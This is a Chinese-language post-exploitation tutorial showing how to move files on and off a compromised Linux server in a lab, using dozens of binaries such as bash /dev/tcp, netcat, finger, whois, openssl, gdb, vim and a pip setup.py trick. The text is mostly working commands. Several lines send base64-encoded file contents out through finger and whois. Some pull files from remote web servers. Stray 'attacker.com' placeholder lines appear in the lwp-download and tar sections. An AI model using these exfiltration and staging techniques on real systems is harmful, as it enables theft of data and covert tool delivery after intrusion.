一、操作目的和应用场景

本文介绍Linux系统中进行文件传输的方法，主要用于后渗透过程中。

在本文的每个例子中，标题中的命令都是在Linux服务器上执行的。

二、平台及工具版本

Linux服务器：CentOS 7，192.168.43.234（部分CentOS 7系统无法实现的，在Kali Linux系统中实现）

远程主机1：Linux Mint 20，192.168.43.237

远程主机2：windows xp，192.168.43.87

三、Linux服务器将文件上传到远程主机

1、 bash

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机监听12345端口

nc -l -p 12345 > bash.get

第二步，Linux服务器创建测试文件并使用bash将文件上传到远程主机

echo "sent by bash." > bash.sent

bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'

第三步，远程主机查看接收到的文件

文件传输成功。

2、 busybox

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用busybox启动web服务器

echo "sent by busybox." > busybox.sent

//启动http服务，监听12345端口，指定当前目录为工作目录

busybox httpd -f -p 12345 -h .

第二步，远程主机从Linux主机下载文件

wget http://192.168.43.234:12345/busybox.sent -O busybox.get

文件传输成功。

3、 curl

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动phpstudy，创建文件，名为upload_file.php，内容如下：

<?php

if ($_FILES["file"]["error"] > 0)

{

echo "错误：" . $_FILES["file"]["error"] . "<br>";

}

else

{

//将文件保存在当前目录

move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"]);

echo "文件存储在: " . "./" . $_FILES["file"]["name"];

echo "\n";

}

?>

保存退出。将upload_file.php放在web发布目录中,之后启动web服务。文件上传的URL为：

http://192.168.43.87/upload/upload_file.php

第二步，Linux服务器创建测试文件并使用curl将文件上传到远程主机

echo "sent by curl" > curl.sent

curl http://192.168.43.87/upload/upload_file.php -F "file=@curl.sent" -v

第三步，远程主机查看接收到的文件

文件传输成功。

4、 finger

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机监听79端口

sudo nc -l -p 79 | base64 -d > finger.get

第二步，Linux服务器创建测试文件并使用finger上传文件

echo "sent by finger" > finger.sent

finger "$(base64 finger.sent)@192.168.43.237"

第三步，远程主机查看收到的文件

文件传输成功。

5、 ftp

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动ftp服务

sudo python3 -m pyftpdlib -w -p 21

第二步，Linux服务器创建测试文件并使用ftp将文件上传到远程主机

echo "sent by ftp." > ftp.sent

ftp 192.168.43.237

put ftp.sent ftp.get

第三步，远程主机查看接收到的文件

文件传输成功。

6、 ftp-upload

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动ftp服务

sudo python3 -m pyftpdlib -w -p 21

第二步，Linux服务器创建测试文件并使用ftp将文件上传到远程主机

echo "sent by ftp-upload." > ftp-upload.sent

perl ./ftp-upload -h 192.168.43.237 -u anonymous --password anonymous --as ftp-upload.get ftp-upload.sent

第三步，远程主机查看接收到的文件

文件传输成功。

7、 gdb

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用gdb启动web服务

echo "sent by gdb." > gdb.sent

export LPORT=8888

gdb -nx -ex 'python import sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit

第二步，远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/gdb.sent -O gdb.get

文件传输成功。

8、 gimp

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用gimp启动web服务

echo "sent by gimp." > gimp.sent

export LPORT=8888

gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'

第二步，远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/gimp.sent -O gimp.get

文件传输成功。

9、 irb

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用irb启动web服务

echo "sent by irb." > irb.sent

irb

require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;

exit

第二步，远程主机从LInux服务器下载文件

wget http://192.168.43.234:8888/irb.sent -O irb.get

文件传输成功。

10、 ksh

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用ksh监听本地端口

echo "sent by ksh." > ksh.sent

ksh -c 'cat ksh.sent > /dev/tcp/192.168.43.237/12345'

第二步，远程主机从Linux服务器下载文件

文件传输成功。

11、 nc

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机监听端口

nc -l -p 12345 > netcat.get

第二步，Linux服务器创建测试文件并使用netcat将文件上传到远程主机

echo "sent by netcat." > netcat.sent

nc 192.168.43.237 12345 < netcat.sent

第三步，远程主机查看接收的文件

文件传输成功。

12、 openssl

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机创建证书并启动监听

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > openssl.get

第二步，Linux服务器创建测试文件并使用openssl将文件上传到远程主机

echo "sent by openssl." > openssl.sent

openssl s_client -quiet -connect 192.168.43.237:12345 < "openssl.sent"

第三步，远程主机查看接收到的文件

文件传输成功。

13、 php

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用php启动web服务

echo "sent by php." > php.sent

php -S 192.168.43.234:8888

第二步，远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/php.sent -O php.get

文件传输成功。

14、 pip

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用pip启动web服务

echo "sent by pip." > pip.sent

export LPORT=8888

TF=$(mktemp -d)

echo 'import sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py

pip3 install $TF

第二步，远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/pip.sent -O pip.get

文件传输成功。

注意，在本例中，pip所发布web内容位于临时目录中，但不是/tmp/tmp.PBrtM68K5v，而是在/tmp/pip-jtub6bzs-build，需要将pip.sent文件复制到该目录中才能下载。

15、 python

第一步，Linux服务器创建测试文件并使用python启动web服务

echo "sent by easy_install" > easy_install.txt

python3 -m http.server 8080

第二步，远程主机从Linux服务器下载文件

wget http://192.168.43.234:8080/easy_install.txt

文件传输成功。

16、 restic

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机运行SSH服务并启用SFTP

systemctl start sshd

第二步，Linux服务器创建测试文件并使用restic将文件上传到远程主机

RHOST=192.168.43.237

RPORT=12345

echo "sent by restic." > restic.sent

//初始化存储仓库

restic -r sftp:root@192.168.43.237:/home/sftp/ftpuser1/upload init

//备份到远程存储仓库

restic -r sftp:root@192.168.43.237:/home/sftp/ftpuser1/upload backup restic.sent

第三步，远程主机查看接收到的文件

文件传输成功。

17、 rsync

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动ssh服务。

systemctl start sshd

第二步，Linux服务器创建测试文件并使用rsync将文件上传到远程主机

echo "sent by rsync." > rsync.sent

rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get

第三步，远程主机查看接收到的文件

文件传输成功。

18、 ruby

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用ruby启动web服务

echo "sent by ruby." > ruby.sent

ruby -run -e httpd . -p 8888

第二步，远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/ruby.sent -O ruby.get

文件传输成功。

19、 rvim

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用rvim启动web服务

export LPORT=8888

echo "sent by rvim." > rvim.sent

rvim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()

vim.command(":q!")'

服务启动后命令窗口全黑。

第二步，远程主机从Linux服务器下载文件

文件传输成功。

20、 scp

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动ssh服务。

systemctl start sshd

第二步，Linux服务器创建测试文件并使用scp将文件上传到远程主机

echo "sent by scp." > scp.sent

scp scp.sent user1@192.168.43.237:/home/user1/scp.get

第三步，远程主机查看接收到的文件

文件传输成功。

21、 sftp

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机运行SSH服务并启用SFTP

systemctl start sshd

第二步，Linux服务器创建测试文件并使用sftp将文件上传到远程主机

echo "sent by sftp." > sftp.sent

sftp ftpuser1@192.168.43.237

put sftp.sent sftp.get

第三步，远程主机查看收到的文件

文件传输成功。

22、 smbclient

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动smb共享

sudo smbserver.py tmp ./  //smbclient在Impacker包中

第二步，Linux服务器创建测试文件并使用smbclient将文件上传到远程主机

echo "sent by smbclient." > smbclient.sent

smbclient '\\192.168.43.237\TMP' -c 'put smbclient.sent smbclient.get'

第三步，远程主机查看收到的文件

文件传输成功。

23、 socat

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机启动监听

socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt

第二步，Linux服务器创建测试文件并使用socat将文件上传到远程主机

echo "sent by nmap." > nmap.sent

socat -u FILE:nmap.sent TCP:192.168.43.237:9876

第三步，远程主机查看接收到的文件

文件传输成功。

24、 ssh

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机运行ssh服务。

systemctl start sshd

第二步，Linux服务器创建测试文件并使用ssh将文件上传到远程主机

echo "sent by ssh." > ssh.sent

ssh user1@192.168.43.237 "cat > ssh.get" < ssh.sent

第三步，远程主机查看接收到的文件

文件传输成功。

25、 tar

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机运行ssh服务

systemctl start sshd

第二步，Linux服务器创建测试文件并使用tar将文件上传到远程主机

echo "sent by tar." > tar.sent

tar cvf user1@192.168.43.237:tar.get tar.sent --rsh-command=/bin/ssh

第三步，远程主机查看接收到的文件

文件传输成功。

26、 tftp

使用下面的命令将服务器本地文件上传到远程主机：

第一步，远程主机运行TFTP服务

apt-get install atftpd  //安装tftp服务程序

mkdir /tmp/backup  //创建目录

chmod 777 /tmp/backup  //修改权限

sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序

第二步，Linux服务器创建测试文件并使用tftp将文件上传到远程主机

echo "sent by tftp." > tftp.sent

tftp 192.168.43.237

put tftp.sent tftp.get

第三步，远程主机查看接收到的文件

文件传输成功。

27、 vim

使用下面的命令将服务器本地文件上传到远程主机：

第一步，Linux服务器创建测试文件并使用vim启动web服务器

echo "sent by vim." > vim.sent

export LPORT=8888

vim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()

vim.command(":q!")'

第二步，远程主机从Linux服务器下载文件

文件传输成功。

28、 whois

使用下面的命令将服务器本地文件上传到远程主机：

方法1

第一步，远程主机启动监听

nc -l -p 12345 > whois.get

第二步，Linux服务器创建测试文件并使用whois将文件上传到远程主机

echo "sent by whois." > whois.sent

whois -h 192.168.43.237 -p 12345 "`cat whois.sent`"

第三步，远程主机查看接收到的文件

文件传输成功。

方法2

第一步，远程主机启动监听

nc -l -p 12345 | tr -d $'\x0d' | base64 -d > whois.get

第二步，Linux服务器创建测试文件并使用whois将文件上传到远程主机

echo "sent by whois again." > whois.sent

whois -h 192.168.43.237 -p 12345 "`base64 whois.sent`"

文件传输成功。

三、Linux服务器从远程主机下载文件

1、 bash

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并监听端口

echo "get by bash." > bash.sent

nc -l -p 12345 < bash.sent

第二步，Linux服务器使用bash从远程主机下载文件

bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'

文件传输成功。

2、 curl

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by curl." > curl.sent

python3 -m http.server 8080

第二步，Linux服务器使用curl从远程主机下载文件

curl http://192.168.43.237:8080/curl.sent -o curl.get

文件传输成功。

3、 finger

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行netcat监听端口

echo "get by finger." > finger.sent

base64 "finger.sent" | sudo nc -l -p 79

第二步，Linux服务器使用finger从远程主机下载文件

finger @192.168.43.237 | grep -v 192.168.43.237 | base64 -d > finger.get

文件传输成功。

4、 ftp

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动FTP服务

echo "get by ftp." > ftp.sent

python3 -m pyftpdlib -p 2121

第二步，Linux服务器使用ftp从远程主机下载文件

ftp 192.168.43.237

get ftp.sent ftp.get

文件传输成功。

5、 gdb

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by gdb." > gdb.sent

python3 -m http.server 8080

第二步，Linux服务器使用gdb下载文件

export URL=http://192.168.43.237:8080/gdb.sent

export LFILE=gdb.get

gdb -nx -ex 'python import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' -ex quit

文件传输成功。

6、 gimp

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by gimp." > gimp.sent

python3 -m http.server 8080

第二步，Linux服务器使用gimp下载文件

export URL=http://192.168.43.237:8080/gimp.sent

export LFILE=gimp.get

gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])'

文件传输成功。

7、 irb

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by irb." > irb.sent

python3 -m http.server 8080

第二步，Linux服务器使用irb下载文件

export URL=http://192.168.43.237:8080/irb.sent

export LFILE=irb.get

irb

require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])

文件传输成功。

8、 jjs

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by jjs." > jjs.sent

python3 -m http.server 8080

第二步，Linux服务器使用jjs下载文件

export URL=http://192.168.43.237:8080/jjs.sent

export LFILE=jjs.get

echo "var URL = Java.type('java.net.URL');

var ws = new URL('$URL');

var Channels = Java.type('java.nio.channels.Channels');

var rbc = Channels.newChannel(ws.openStream());

var FileOutputStream = Java.type('java.io.FileOutputStream');

var fos = new FileOutputStream('$LFILE');

fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);

fos.close();

rbc.close();" | jjs

文件传输成功。

9、 jrunscript

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by jrunscript." > jrunscript.sent

python3 -m http.server 8080

第二步，Linux服务器使用irb下载文件

export URL=http://192.168.43.237:8080/jrunscript.sent

export LFILE=jrunscript.get

jrunscript -e "cp('$URL','$LFILE')"

文件传输成功。

10、 ksh

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行netcat监听端口

echo "get by bash." > ksh.sent

nc -l -p 12345 < ksh.sent

第二步，Linux服务器使用ksh下载文件

ksh -c 'cat < /dev/tcp/192.168.43.237/12345 > ksh.get'

文件传输成功。

11、 lwp-download

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by lwp-download." > lwp-download.sent

python3 -m http.server 8080

第二步，Linux服务器使用lwp-download下载文件

URL=http://attacker.com/file_to_get

LFILE=file_to_save

lwp-download http://192.168.43.237:8080/lwp-download.sent lwp-download.get

文件传输成功。

12、 nc

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行netcat监听端口

echo "get by netcat." > netcat.sent

nc -l -p 12345 < netcat.sent

第二步，Linux服务器使用netcat下载文件

nc -l -p 12345 > netcat.get

nc 192.168.43.237 12345 > netcat.get

文件传输成功。

13、 openssl

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并创建证书并启动监听

echo "get by openssl." > openssl.sent

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < openssl.sent

第二步，Linux服务器使用openssl从远程主机下载文件

openssl s_client -quiet -connect 192.168.43.237:12345 > openssl.get

文件传输成功。

14、 php

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by php." > php.sent

python3 -m http.server 8080

第二步，Linux服务器使用php下载文件

export URL=http://192.168.43.237:8080/php.sent

export LFILE=php.get

php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'

文件传输成功。

15、 pip

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by pip." > pip.sent

python3 -m http.server 8080

第二步，Linux服务器使用pip下载文件

export URL=http://192.168.43.237:8080/pip.sent

export LFILE=/home/user1/pip.get

TF=$(mktemp -d)

echo 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py

pip3 install $TF

文件传输成功。

16、 python

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by python." > python.sent

python3 -m http.server 8080

第二步，Linux服务器使用python下载文件

export URL=http://192.168.43.237:8080/python.sent

export LFILE=python.get

python -c 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])'

文件传输成功。

17、 ruby

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by ruby." > ruby.sent

python3 -m http.server 8080

第二步，Linux服务器使用ruby下载文件

export URL=http://192.168.43.237:8080/ruby.sent

export LFILE=ruby.get

ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'

文件传输成功。

18、 rvim

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by rvim." > rvim.sent

python3 -m http.server 8080

第二步，Linux服务器使用rvim下载文件

export URL=http://192.168.43.237:8080/rvim.sent

export LFILE=rvim.get

rvim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])

vim.command(":q!")'

文件传输成功。

19、 scp

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动SSH服务

echo "get by scp." > /home/user1/scp.sent

sudo systemctl start sshd

第二步，Linux服务器使用scp下载文件

scp user1@192.168.43.237:/home/user1/scp.sent /home/user1/scp.get

文件传输成功。

20、 sftp

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行SSH服务、启用SFTP

echo "get by sftp." > /home/sftp/ftpuser1/sftp.sent

systemctl start sshd

第二步，Linux服务器使用sftp下载文件

sftp ftpuser1@192.168.43.237

get sftp.sent sftp.get

文件传输成功。

21、 smbclient

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动smb共享

echo "get by smbclient." > smbclient.sent

sudo smbserver.py tmp ./

第二步，Linux服务器使用smbclient下载文件

smbclient '\\192.168.43.237\TMP' -c 'get smbclient.sent smbclient.get'

文件传输成功。

22、 socat

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行socat监听端口

echo "get by socat." > socat.sent

socat -u file: socat.sent tcp-listen:12345,reuseaddr

第二步，Linux服务器运行socat下载文件

socat -u tcp-connect:192.168.43.237:12345 open:socat.get,creat

文件传输成功。

23、 ssh

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行SSH服务

echo "get by ssh." > /home/user1/ssh.sent

sudo systemctl start sshd

第二步，Linux服务器使用ssh下载文件

ssh 192.168.43.237 "cat /home/user1/ssh.sent" > ssh.get

文件传输成功。

24、 tar

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行SSH服务

echo "get by tar." > tar.sent

tar cvf tar.sent.tar tar.sent

sudo systemctl start sshd

第二步，Linux服务器使用tar下载文件

RHOST=attacker.com

RUSER=root

RFILE=/tmp/file_to_get.tar

tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh

tar xvf user1@192.168.43.237:/home/user1/tar.sent.tar --rsh-command=/bin/ssh

文件传输成功。

25、 tftp

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行TFTP服务

mkdir /tmp/backup  //创建目录

echo "get by tftp." > /tmp/backup/tftp.sent

chmod 777 /tmp/backup  //修改权限

sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序

第二步，Linux服务器使用tftp下载文件

tftp 192.168.43.237

get tftp.sent tftp.get

quit

文件传输成功。

26、 vim

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by vim." > vim.sent

python3 -m http.server 8080

第二步，Linux服务器使用vim下载文件

export URL=http://192.168.43.237:8080/vim.sent

export LFILE=vim.get

vim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])

vim.command(":q!")'

文件传输成功。

27、 wget

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并启动web服务

echo "get by wget." > wget.sent

python3 -m http.server 8080

第二步，Linux服务器使用wget下载文件

wget http://192.168.43.237:8080/wget.sent -O wget.get

文件传输成功。

28、 whois

使用下面的命令将文件从远程主机下载到Linux服务器本地：

第一步，远程主机创建测试文件并运行netcat监听端口

echo "get by whois." > whois.sent

nc -l -p 12345 < whois.sent

第二步，Linux服务器使用whois下载文件

whois -h 192.168.43.237 -p 12345 '任意字符串' > whois.get

文件传输成功。

或者使用下面的方法：

第一步，远程主机运行netcat监听端口

echo "get by whois again." > whois.sent

base64 "whois.sent" | nc -l -p 12345

第二步，Linux服务器使用whois下载文件

whois -h 192.168.43.237 -p 12345 "abc" | base64 -d > whois.get

"abc"为任意字符，必须输入，不输入则报错。

文件传输成功。